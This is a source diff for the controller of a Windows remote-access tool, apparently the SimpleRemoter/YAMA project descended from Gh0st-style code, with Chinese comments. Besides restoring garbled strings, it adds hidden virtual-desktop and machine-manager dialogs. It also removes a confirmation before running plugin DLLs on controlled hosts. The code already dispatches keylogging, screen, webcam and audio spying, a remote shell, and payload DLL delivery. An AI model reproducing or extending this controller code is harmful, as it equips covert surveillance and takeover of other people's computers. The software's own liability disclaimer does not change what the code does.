SOCKET_DLLLOADER: {// DLL + case SOCKET_DLLLOADER: {// 请求DLL auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); @@ -1627,67 +1646,76 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } char version[12] = {}; ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); - SendServerDll(ContextObject, typ == MEMORYDLL, is64Bit); + // TODO 注入记事本的加载器需要更新 + SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit); break; } - case COMMAND_BYE: // + case COMMAND_BYE: // 主机下线 { CancelIo((HANDLE)ContextObject->sClientSocket); closesocket(ContextObject->sClientSocket); Sleep(10); break; } - case TOKEN_KEYBOARD_START: {// ̼¼ + case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面 + g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject); + break; + } + case TOKEN_SYSINFOLIST: { // 主机管理 + g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject); + break; + } + case TOKEN_KEYBOARD_START: {// 键盘记录 g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_LOGIN: // ߰ shine + case TOKEN_LOGIN: // 上线包 { g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); break; } - case TOKEN_BITMAPINFO: // Զ + case TOKEN_BITMAPINFO: // 远程桌面 { g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_DRIVE_LIST: // ļ + case TOKEN_DRIVE_LIST: // 文件管理 { g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_TALK_START: // Ϣ + case TOKEN_TALK_START: // 发送消息 { g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SHELL_START: // Զն + case TOKEN_SHELL_START: // 远程终端 { g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WSLIST: // ڹ - case TOKEN_PSLIST: // ̹ + case TOKEN_WSLIST: // 窗口管理 + case TOKEN_PSLIST: // 进程管理 { g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_AUDIO_START: // + case TOKEN_AUDIO_START: // 语音监听 { g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_REGEDIT: // ע + case TOKEN_REGEDIT: // 注册表管理 { g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SERVERLIST: // + case TOKEN_SERVERLIST: // 服务管理 { g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WEBCAM_BITMAPINFO: // ͷ + case TOKEN_WEBCAM_BITMAPINFO: // 摄像头 { g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; @@ -1698,7 +1726,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) { CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing; - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע ClientContext Ƿʱбȡ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //注意这里的 ClientContext 正是发送数据时从列表里取出的数据 if (ContextObject == NULL || isClosed) { @@ -1707,13 +1735,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) try { - sockaddr_in ClientAddr; memset(&ClientAddr, 0, sizeof(ClientAddr)); int iClientAddrLen = sizeof(sockaddr_in); SOCKET nSocket = ContextObject->sClientSocket; BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen); - // Ϸݰ + // 不合法的数据包 if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) { char buf[100]; @@ -1732,10 +1759,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) } strIP = inet_ntoa(ClientAddr.sin_addr); - // + //主机名称 strPCName = LoginInfor->szPCName; - //汾Ϣ + //版本信息 strOS = LoginInfor->OsVerInfoEx; //CPU @@ -1747,10 +1774,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strCPU = "Unknown"; } - // + //网速 strPing.Format("%d", LoginInfor->dwSpeed); - strVideo = m_settings.DetectSoftware ? "" : LoginInfor->bWebCamIsExist ? "" : ""; + strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无"; strAddr.Format("%d", nSocket); auto v = LoginInfor->ParseReserved(10); @@ -1778,7 +1805,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); m_CList_Online.DeleteItem(i); - ShowMessage(true, ip + ""); + ShowMessage(true, ip + "主机下线"); break; } } @@ -1840,7 +1867,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) case REGISTER_DLG: { CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; - delete Dlg; //⴦ + delete Dlg; //特殊处理 break; } case KEYBOARD_DLG: @@ -1849,6 +1876,18 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) delete Dlg; break; } + case HIDESCREEN_DLG: + { + CHideScreenSpyDlg* Dlg = (CHideScreenSpyDlg*)p->hDlg; + delete Dlg; + break; + } + case MACHINE_DLG: + { + CMachineDlg* Dlg = (CMachineDlg*)p->hDlg; + delete Dlg; + break; + } default:break; } delete p; @@ -1862,7 +1901,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { Heartbeat hb; ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1); - // ظ + // 回复心跳 { HeartbeatACK ack = { hb.Time }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; @@ -1879,7 +1918,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); - m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "" : ""); + m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "有" : "无"); return; } } @@ -1910,7 +1949,15 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id]; if (buf->length()) { - m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length()); + // 只有发送了IV的加载器才支持AES加密 + int len = ContextObject->InDeCompressedBuffer.GetBufferLength(); + char md5[33] = {}; + memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32))); + if (!buf->MD5().empty() && md5 != buf->MD5()) + m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20)); + else { + m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */); + } } } @@ -1920,7 +1967,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s - // øΪ׿ + // 设置父窗口为卓面 Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow()); Dlg->ShowWindow(SW_SHOWMAXIMIZED); @@ -1934,10 +1981,10 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_FILE, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_FILE, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = FILEMANAGER_DLG; @@ -1967,10 +2014,10 @@ LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CTalkDlg *Dlg = new CTalkDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_TALK, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_TALK, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = TALK_DLG; @@ -1983,10 +2030,10 @@ LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CShellDlg *Dlg = new CShellDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = SHELL_DLG; @@ -2000,10 +2047,10 @@ LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CSystemDlg *Dlg = new CSystemDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_SYSTEM, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_SYSTEM, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = SYSTEM_DLG; @@ -2016,10 +2063,10 @@ LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CAudioDlg *Dlg = new CAudioDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_AUDIO, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_AUDIO, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = AUDIO_DLG; @@ -2032,10 +2079,10 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CServicesDlg *Dlg = new CServicesDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_SERVICES, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_SERVICES, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = SERVICES_DLG; @@ -2048,10 +2095,10 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CRegisterDlg *Dlg = new CRegisterDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_REGISTER, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_REGISTER, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = REGISTER_DLG; @@ -2064,10 +2111,10 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - //תCFileManagerDlg 캯 + //转到CFileManagerDlg 构造函数 CVideoDlg *Dlg = new CVideoDlg(this,m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DIALOG_VIDEO, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DIALOG_VIDEO, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = VIDEO_DLG; @@ -2081,8 +2128,8 @@ LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam) CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject); - // øΪ׿ - Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //Dlg + // 设置父窗口为卓面 + Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //创建非阻塞的Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = KEYBOARD_DLG; @@ -2105,9 +2152,39 @@ LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CMy2015RemoteDlg::OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + CHideScreenSpyDlg* Dlg = new CHideScreenSpyDlg(this, m_iocpServer, ContextObject); + + Dlg->Create(IDD_SCREEN, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = HIDESCREEN_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + +LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + CMachineDlg* Dlg = new CMachineDlg(this, m_iocpServer, ContextObject); + + Dlg->Create(IDD_MACHINE, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = MACHINE_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { - MessageBox("Copyleft (c) FTU 2025", ""); + MessageBox("Copyleft (c) FTU 2025", "关于"); return TRUE; } @@ -2126,18 +2203,18 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) void CMy2015RemoteDlg::OnOnlineShare() { CInputDialog dlg(this); - dlg.Init("", "ַ:"); + dlg.Init("分享主机", "输入地址:"); if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return; if (dlg.m_str.GetLength() >= 250) { - MessageBox("ַȳ[0, 250]Χ!", "ʾ", MB_ICONINFORMATION); + MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION); return; } - if (IDYES != MessageBox(_T("ȷѡıؼ?\nĿǰֻܷͬس"), _T("ʾ"), MB_ICONQUESTION | MB_YESNO)) + if (IDYES != MessageBox(_T("确定分享选定的被控计算机吗?\n目前只能分享给同类主控程序。"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; BYTE bToken[_MAX_PATH] = { COMMAND_SHARE }; - // Ŀ + // 目标主机类型 bToken[1] = SHARE_TYPE_YAMA; memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength()); SendSelectedCommand(bToken, sizeof(bToken)); @@ -2173,12 +2250,12 @@ void CMy2015RemoteDlg::OnMainProxy() void CMy2015RemoteDlg::OnOnlineHostnote() { CInputDialog dlg(this); - dlg.Init("޸ıע", "ע: "); + dlg.Init("修改备注", "请输入主机备注: "); if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) { return; } if (dlg.m_str.GetLength() >= 64) { - MessageBox("עϢȲܳ64ַ", "ʾ", MB_ICONINFORMATION); + MessageBox("备注信息长度不能超过64个字符", "提示", MB_ICONINFORMATION); dlg.m_str = dlg.m_str.Left(63); } BOOL modified = FALSE; @@ -2206,18 +2283,18 @@ void CMy2015RemoteDlg::OnOnlineHostnote() char* ReadFileToBuffer(const std::string &path, size_t& outSize) { - // ļ - std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = ĩβôС + // 打开文件 + std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = 跳到末尾获得大小 if (!file) { return nullptr; } - // ȡļСڴ + // 获取文件大小并分配内存 std::streamsize size = file.tellg(); file.seekg(0, std::ios::beg); char* buffer = new char[size]; - // ȡļ buffer + // 读取文件到 buffer if (!file.read(buffer, size)) { delete[] buffer; return nullptr; @@ -2232,7 +2309,7 @@ char* ReadFileToBuffer(const std::string &path, size_t& outSize) { BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) { - // ļԶģʽд + // 打开文件,以二进制模式写入 std::string filePath = path; std::ofstream outFile(filePath, std::ios::binary); @@ -2242,7 +2319,7 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) return FALSE; } - // д + // 写入二进制数据 outFile.write(data, size); if (outFile.good()) @@ -2256,7 +2333,7 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) return FALSE; } - // رļ + // 关闭文件 outFile.close(); return TRUE; @@ -2273,7 +2350,7 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) { BOOL success = CreateProcessA( NULL, - &cmdLine[0], // עǷ const char* + &cmdLine[0], // 注意必须是非 const char* NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ); @@ -2294,7 +2371,7 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) { return static_cast(exitCode); } -// ѹUPXԵǰӦóв +// 解压UPX对当前应用程序进行操作 bool UPXUncompressFile(std::string& upx, std::string &file) { DWORD dwSize = 0; LPBYTE data = ReadResource(IDR_BINARY_UPX, dwSize); @@ -2324,7 +2401,7 @@ bool UPXUncompressFile(std::string& upx, std::string &file) { } struct UpxTaskArgs { - HWND hwnd; // ھ + HWND hwnd; // 主窗口句柄 std::string upx; std::string file; bool isCompress; @@ -2334,7 +2411,7 @@ DWORD WINAPI UpxThreadProc(LPVOID lpParam) { UpxTaskArgs* args = (UpxTaskArgs*)lpParam; int result = run_upx(args->upx, args->file, args->isCompress); - // ̷߳ϢwParamɴ + // 向主线程发送完成消息,wParam可传结果 PostMessageA(args->hwnd, WM_UPXTASKRESULT, (WPARAM)result, 0); DeleteFile(args->upx.c_str()); @@ -2350,7 +2427,7 @@ void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, b LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam) { int exitCode = static_cast(wParam); - ShowMessage(exitCode == 0, "UPX "); + ShowMessage(exitCode == 0, "UPX 处理完成"); return S_OK; } @@ -2359,17 +2436,17 @@ LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam) { void CMy2015RemoteDlg::OnToolGenMaster() { CInputDialog pass(this); - pass.Init("", "ǰس:"); + pass.Init("主控生成", "当前主控程序的密码:"); if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) return; std::string masterHash(skCrypt(MASTER_HASH)); if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { - MessageBox("벻ȷ޷س!", "", MB_ICONWARNING); + MessageBox("密码不正确,无法生成主控程序!", "错误", MB_ICONWARNING); return; } CInputDialog dlg(this); - dlg.Init("", "µس:"); + dlg.Init("主控密码", "新的主控程序的密码:"); if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return; size_t size = 0; @@ -2380,7 +2457,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() } char* curEXE = ReadFileToBuffer(path, size); if (curEXE == nullptr) { - MessageBox("ȡļʧ! Ժٴγԡ", "", MB_ICONWARNING); + MessageBox("读取文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); return; } std::string pwdHash = hashSHA256(dlg.m_str.GetString()); @@ -2391,7 +2468,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() SAFE_DELETE_ARRAY(curEXE); std::string tmp; if (!UPXUncompressFile(upx, tmp) || nullptr == (curEXE = ReadFileToBuffer(tmp.c_str(), size))) { - MessageBox("ļʧ! Ժٴγԡ", "", MB_ICONWARNING); + MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); if (!upx.empty()) DeleteFile(upx.c_str()); if (!tmp.empty()) DeleteFile(tmp.c_str()); return; @@ -2400,23 +2477,23 @@ void CMy2015RemoteDlg::OnToolGenMaster() iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length()); if (iOffset == -1) { SAFE_DELETE_ARRAY(curEXE); - MessageBox("ļʧ! Ժٴγԡ", "", MB_ICONWARNING); + MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); return; } } if (!WritePwdHash(curEXE + iOffset, pwdHash)) { - MessageBox("дϣʧ! ޷ء", "", MB_ICONWARNING); + MessageBox("写入哈希失败! 无法生成主控。", "错误", MB_ICONWARNING); SAFE_DELETE_ARRAY(curEXE); return; } CComPtr spDesktop; HRESULT hr = SHGetDesktopFolder(&spDesktop); if (FAILED(hr)) { - AfxMessageBox("Explorer δȷʼ! Ժԡ"); + AfxMessageBox("Explorer 未正确初始化! 请稍后再试。"); SAFE_DELETE_ARRAY(curEXE); return; } - // ʾļضļıļ + // 过滤器:显示所有文件和特定类型文件(例如文本文件) CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, _T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd()); int ret = 0; @@ -2424,7 +2501,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() ret = fileDlg.DoModal(); } catch (...) { - AfxMessageBox("ļԻδɹ! Ժԡ"); + AfxMessageBox("文件对话框未成功打开! 请稍后再试。"); SAFE_DELETE_ARRAY(curEXE); return; } @@ -2434,7 +2511,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() CFile File; BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); if (!r) { - MessageBox("س򴴽ʧ!\r\n" + name, "ʾ", MB_ICONWARNING); + MessageBox("主控程序创建失败!\r\n" + name, "提示", MB_ICONWARNING); SAFE_DELETE_ARRAY(curEXE); return; } @@ -2443,9 +2520,9 @@ void CMy2015RemoteDlg::OnToolGenMaster() if (!upx.empty()) { run_upx_async(GetSafeHwnd(), upx, name.GetString(), true); - MessageBox("UPXѹעϢʾ\r\nļλ: " + name, "ʾ", MB_ICONINFORMATION); + MessageBox("正在UPX压缩,请关注信息提示。\r\n文件位于: " + name, "提示", MB_ICONINFORMATION); }else - MessageBox("ɳɹ! ļλ:\r\n" + name, "ʾ", MB_ICONINFORMATION); + MessageBox("生成成功! 文件位于:\r\n" + name, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(curEXE); } @@ -2454,10 +2531,10 @@ void CMy2015RemoteDlg::OnToolGenMaster() void CMy2015RemoteDlg::OnHelpImportant() { const char* msg = - "ԡ״ṩκα֤ʹñķûге" - "DzκʹñķǷ;ûӦط" - "棬εʹñ߶κʹñ𺦲еΡ"; - MessageBox(msg, "", MB_ICONINFORMATION); + "本软件以“现状”提供,不附带任何保证。使用本软件的风险由用户自行承担。" + "我们不对任何因使用本软件而引发的非法或恶意用途负责。用户应遵守相关法律" + "法规,并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。"; + MessageBox(msg, "免责声明", MB_ICONINFORMATION); } @@ -2467,21 +2544,17 @@ void CMy2015RemoteDlg::OnHelpFeedback() ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); } -// 뽫64λDLL 'Plugins' Ŀ¼ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { - if (m_DllList.size()==0){ - MessageBoxA("뽫64λDLL 'Plugins' Ŀ¼˵" - "\nDLLʱִĴ롣ִԴεĺϷ롣", "ʾ", MB_ICONINFORMATION); + if (m_DllList.size() == 0) { + MessageBoxA("请将64位的DLL放于 'Plugins' 目录,再来点击此项菜单。" + "\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION); char path[_MAX_PATH]; GetModuleFileNameA(NULL, path, _MAX_PATH); GET_FILEPATH(path, "Plugins"); m_DllList = ReadAllDllFilesWindows(path); return; } - int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // ˵ ID - if (IDYES != MessageBoxA(CString("ȷѡִд?\nִδԵĴɳ!"), - _T("ʾ"), MB_ICONQUESTION | MB_YESNO)) - return; + int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // 计算菜单项的索引(基于 ID) EnterCriticalSection(&m_cs); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); while (Pos && menuIndex < m_DllList.size()) { @@ -2492,8 +2565,6 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { } LeaveCriticalSection(&m_cs); } - - void CMy2015RemoteDlg::OnOnlineVirtualDesktop() { BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF }; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 8d7226f..ee553dd 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -222,7 +222,8 @@ public: afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); - + afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index beea8e4..4173f6e 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -75,21 +75,21 @@ true $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath) true $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath) false - $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath) $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) false - $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + 